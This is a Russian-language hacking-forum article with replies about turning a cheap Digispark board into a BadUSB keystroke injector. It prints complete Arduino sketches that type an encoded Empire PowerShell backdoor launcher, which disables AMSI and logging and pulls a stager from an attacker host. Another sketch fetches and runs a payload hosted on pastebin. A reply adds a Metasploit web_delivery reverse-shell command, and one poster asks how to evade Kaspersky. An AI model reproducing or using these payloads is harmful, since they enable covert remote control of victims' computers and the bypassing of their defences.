Статья Digispark - badusb за 1$

Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.

IMG_20170826_153239.jpg


Стоит эта приблуда 1$ во всем известном Китайском интернет-магазине.
Что-ж, какова цена - таковы и возможности. За такую скромную сумму мы имеем:
  1. 8 кб памяти для вашего кода, 2 из которых съедает загрузчик.
  2. Небольшую документацию:
О том, как настроить окружение можно прочитать здесь:

Что же по поводу bad usb? Digi позволяет эмулировать клавиатуру, что даёт нам возможность создать powershell-backdoor. Приступим.

Генерация пейлоада

Генерировать буду с помощью Empire.
Код:
sudo ./empire
listeners
uselistener http
Что бы посмотреть все возможные варианты - после uselistener 2 раза нажмите Tab

_ _ _ 2017-08-31 22-38-26.png


Устанавливаем имя, порт, и запускаем листенер.

_ _ _ 2017-08-31 22-38-44.png


Получаем наш powershell-payload
launcher powershell Digi

_ _ _ 2017-08-31 22-39-49.png


Пишем код

Вся структура кода выглядит так:
Код:
#include "DigiKeyboard.h" // Импортируем модуль клавиатуры

void setup()
{
  // Одноразовое выполнение кода
}

void loop()
{
  // Циклическое выполнение кода            
}
Основа будет выполняться один раз. При тестировании возникла проблема переключения раскладки, но опытным путём выяснилось, что на русифицированной windows 7 все новые окна по умолчанию открываются с русской раскладкой. В таком случае код будет выглядеть так:
Код:
#include "DigiKeyboard.h"
#define KEY_ALT         226   // Кнопка left Alt
#define KEY_SHIFT       A0    // Кнопка left Shift

void setup()
{
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);   // Время простоя в миллисекундах

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Открываем поиск
  DigiKeyboard.delay(2000);

  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английску
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("cmd.exe");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);

  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английский
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("powershell -noP -sta -w 1 -enc  JABHAHIAbwB1AFAAUABvAGwAaQBjAFkAUwBFAHQAdABpAG4ARwBTACAAPQAgAFsAcgBFAGYAXQAuAEEAUwBzAGUAbQBCAEwAeQAuAEcAZQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBHAEUAdABWAEEAbAB1AEUAKAAkAG4AVQBMAEwAKQA7ACQARwBSAG8AVQBwAFAAbwBsAEkAYwB5AFMARQBUAHQASQBuAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwByAG8AVQBwAFAAbwBsAGkAQwB5AFMARQBUAHQAaQBuAEcAcwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQAgAD0AIAAwADsAWwBSAGUARgBdAC4AQQBTAHMAZQBNAGIATABZAC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAHUAZQAoACQATgB1AEwATAAsACQAVABSAHUAZQApAH0AOwBbAFMAWQBTAFQARQBtAC4ATgBlAFQALgBTAEUAUgBWAEkAYwBFAFAAbwBpAE4AVABNAGEAbgBhAGcAZQBSAF0AOgA6AEUAeABwAEUAQwBUADEAMAAwAEMATwBOAHQASQBOAHUARQA9ADAAOwAkAHcAQwA9AE4AZQB3AC0ATwBiAGoAZQBDAFQAIABTAHkAUwBUAEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAEkARQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AEMALgBIAEUAQQBEAEUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAFIATwB4AFkAPQBbAFMAWQBTAHQARQBtAC4ATgBlAHQALgBXAGUAQgBSAGUAUQB1AEUAUwBUAF0AOgA6AEQAZQBGAGEAVQBMAHQAVwBlAGIAUABSAG8AeABZADsAJAB3AGMALgBQAFIATwBYAHkALgBDAFIARQBEAEUATgB0AEkAYQBMAHMAIAA9ACAAWwBTAHkAUwBUAEUATQAuAE4AZQB0AC4AQwByAGUARABlAG4AVABpAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQB1AEwAdABOAGUAVAB3AE8AUgBrAEMAcgBlAGQARQBOAHQAaQBhAEwAcwA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAGUAeABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcANwBiADIANABhAGYAYwA4AGIAYwA4ADAAZQA1ADQAOABkADYANgBjADQAZQA3AGYAZgA3ADIAMQA3ADEAYwA1ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAEEARABlAFIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABLAEYARQBIAEkAYwBSAEgAcgBvAGkAdAB1AG8AWQB6ADgARgBaAG0AOQA1AEwATwBkADAAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADIAOgAxADMAMwA3ACcAOwAkAHQAPQAnAC8AbgBlAHcAcwAuAHAAaABwACcAOwAkAGQAYQB0AEEAPQAkAFcAQwAuAEQAbwBXAE4ATABvAGEARABEAEEAVABhACgAJABTAEUAcgArACQAdAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAYQB0AGEAWwA0AC4ALgAkAEQAYQBUAGEALgBsAGUATgBHAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="); // Полезная нагрузка
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop()
{
  digitalWrite(0, HIGH);
  digitalWrite(1, HIGH);    // Мигалка светодиода
  delay(100);               // по окончанию
  digitalWrite(0, HIGH);    // скрипта
  digitalWrite(1, HIGH);
  delay(100);       
}
Компилируем ии... Получаем ошибку. Памяти на столько мало, что не хватает даже на powershell-backdoor!

_ _ _ 2017-08-31 22-44-21.png


Можно попробовать вставить payload, сгенерированный в msfvenom с функцией --smallest, либо найти нагрузку меньше, но это вы можете сделать сами, я же покажу второй вариант.

Обходной путь

В powershell версии 3.0 и выше (начиная с windows 8) появилась функция Invoke-WebRequest, которая позволяет парсить сайты. Воспользуемся ей.
Для этого заливаем свой пейлоад на pastebin:

__001.png


Вместо прямого использования нагрузки спарсим его:
Код:
#include "DigiKeyboard.h"

#define KEY_ALT         226   // Кнопка left Alt
#define KEY_SHIFT       A0    // Кнопка left Shift

void setup()
{
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);   // Время простоя в миллисекундах

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(2000);

  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("cmd.exe");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);

  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("$url = 'pastebin.com/tA76vf4A'");  // Ссылка на пейлоад на пастбин
  delay(50);
  DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
  delay(50);
  DigiKeyboard.println("powershell.exe -nop -e $result.content");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop()
{
  digitalWrite(0, HIGH);
  digitalWrite(1, HIGH);    // Мигалка светодиода
  delay(100);               // по окончанию
  digitalWrite(0, HIGH);    // скрипта
  digitalWrite(1, HIGH);
  delay(100);              
}
Теперь код занимает только 54% памяти.

_ _ _ 2017-08-31 23-27-06.png


Вонзив этот корявый клинок правосудия в usb-разъём жертвы вашего компьютера, выполнится ваш код на C. Не плохой потенциал, но вряд ли 6 кб памяти дадут вам его реализовать...


Выводы

Хорошая игрушка за свои деньги, не более. Будь там хотя бы 16 кб памяти - можно было бы использовать нормальные бекдор без костылей, которые работают только на windows 8 и выше.
Можно, конечно, попробовать скачивать нужные для выполнения программы с помощью чистого C++, но я не силён в нём. Либо просто воровать кукисы, но не то время нынче...

Эх, было время, когда можно было взломать аккаунт вк или однокласников обычной подменой кукисов...
 

Elektrolife

Green Team
21.10.2016
208
33
BIT
23
В Про версии 16кб, а так же заявлена поддержка "We also provide libraries for the Pro to emulate a USB Keyboard, Mouse, Joystick, or Generic HID Device" , но минус - разъем микроusb. можно с помощью переходника можно сделать "нормальный usb". Радость эта стоит аж 3 доллара.

а можно ссылочку на данное чудо ? )
 
L

Leon

Power shell палит злой Каспер,и обфускация не помогает.Кто знает как обойти этого Каспара?
 

~localhost

Green Team
30.10.2017
230
49
BIT
20
Если кто столкнулся с ней в первый раз:

в arduino ide идете в файл => настройки в поле " Дополнительные ссылки для Менеджера плат:" пишете следующее



После чего: Инструменты => Плата => Менеджер плат.. там ищете " Digistump AVR boards by Digistump " устанавливаете ее.


Затем выбираете свою плату Digispark в менеджере плат.


Она грузится не как простое Arduino.


Вы пишете скетч, нажимаете загрузить и в нижней окне IDE появляется надпись:

Running Digispark Uploader...
Plug in device now... (will timeout in 60 seconds)

У вас есть минута чтобы подключить устройство к USB, дальше последует прошивка.

я столкнулся с такой ошибкой( у меня Ubuntu) : Abort mission! -1 error has occurred …” error during upload.“micronucleus: library/micronucleus_lib.c:63: micronucleus_connect: Assertion `res >= 4' failed.

как подсказал Dr.Lafa решение находится

Для ленивых:
Bash:
sudo nano /etc/udev/rules.d/49-micronucleus.rules
У меня не было данного файла.
и в него копируем следующее:
# UDEV Rules for Micronucleus boards including the Digispark.
# This file must be placed at:
#
# /etc/udev/rules.d/49-micronucleus.rules (preferred location)
# or
# /lib/udev/rules.d/49-micronucleus.rules (req'd on some broken systems)
#
# After this file is copied, physically unplug and reconnect the board.
#
SUBSYSTEMS=="usb", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666"
KERNEL=="ttyACM*", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666", ENV{ID_MM_DEVICE_IGNORE}="1"
#
# If you share your linux system with other users, or just don't like the
# idea of write permission for everybody, you can replace MODE:="0666" with
# OWNER:="yourusername" to create the device owned by you, or with
# GROUP:="somegroupname" and mange access using standard unix groups.
 
  • Нравится
Реакции: Dr.Lafa

~localhost

Green Team
30.10.2017
230
49
BIT
20
а как называется "ветка" в метасплойте для таких целей, чтобы после exploit выдавал текст который нужно вбить в cmd атакуемого. а то я только web_delivery знаю.
 
H

HeadShot

Всем привет! Вопрос к ТС и кто в теме: при работе на 10 Win системе, с запущенными защитником всеп ошло хорошо, кроме ошибки от PowerShell - ошибка говорила: вы пытаетесь использовать закодированную строчку, однако она не закодена нужным образом. Как решить такую проблему?
 

Dr.Lafa

Green Team
30.12.2016
507
1 049
BIT
0
Всем привет! Вопрос к ТС и кто в теме: при работе на 10 Win системе, с запущенными защитником всеп ошло хорошо, кроме ошибки от PowerShell - ошибка говорила: вы пытаетесь использовать закодированную строчку, однако она не закодена нужным образом. Как решить такую проблему?
Возможно что-то с неправильно написал. Кинь скрин с ошибкой
 

Elektrolife

Green Team
21.10.2016
208
33
BIT
23
Дааа, Metasploit web-delivery отлично вмещается в Digispark! В моём случае это заняло 56% памяти.
Так что же нужно:
1. Сделать пейлоад
Код:
msfconsole

use exploit/multi/script/web_delivery
use payload windows/x64/meterpreter/reverse_tcp
set srvhost 192.168.0.102 (ip пентестера)
set lhost 192.168.0.102 (ip пентестера)
exploit
Получаем пейлоад вроде такого:
Код:
powershell.exe -nop -w hidden -c $q=new-object net.webclient;$q.proxy=[Net.WebRequest]::GetSystemWebProxy();$q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $q.downloadstring('http://192.168.0.102:8080/I1oPQAzHmpM');



Как у вас получилось использовать такой payload ? В описании написано что совместимые нагрузки:

1524038634448.png
 
  • Нравится
Реакции: HeadShot

Marr

Green Team
06.11.2017
77
10
BIT
0
Интересная статья! Спасибо!
Где можно описание библиотеки DigiKeyboard.h взять?
 

Dr.Lafa

Green Team
30.12.2016
507
1 049
BIT
0
а какие еще интересные варианты полезной нагрузки из Ваших крупиц собрать можно?)
самое креативное?))
было забавно делать BSOD-флешку. В повершел вводился эксплоит на дос винды.
Более сложный вариант, когда полезная нагрузка большая, а доступа к интернету нет: на обычную флешку скидывать свою малварь, вставлять в компьютер её и диги, которая будет всё активировать.
 
  • Нравится
Реакции: Vertigo
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!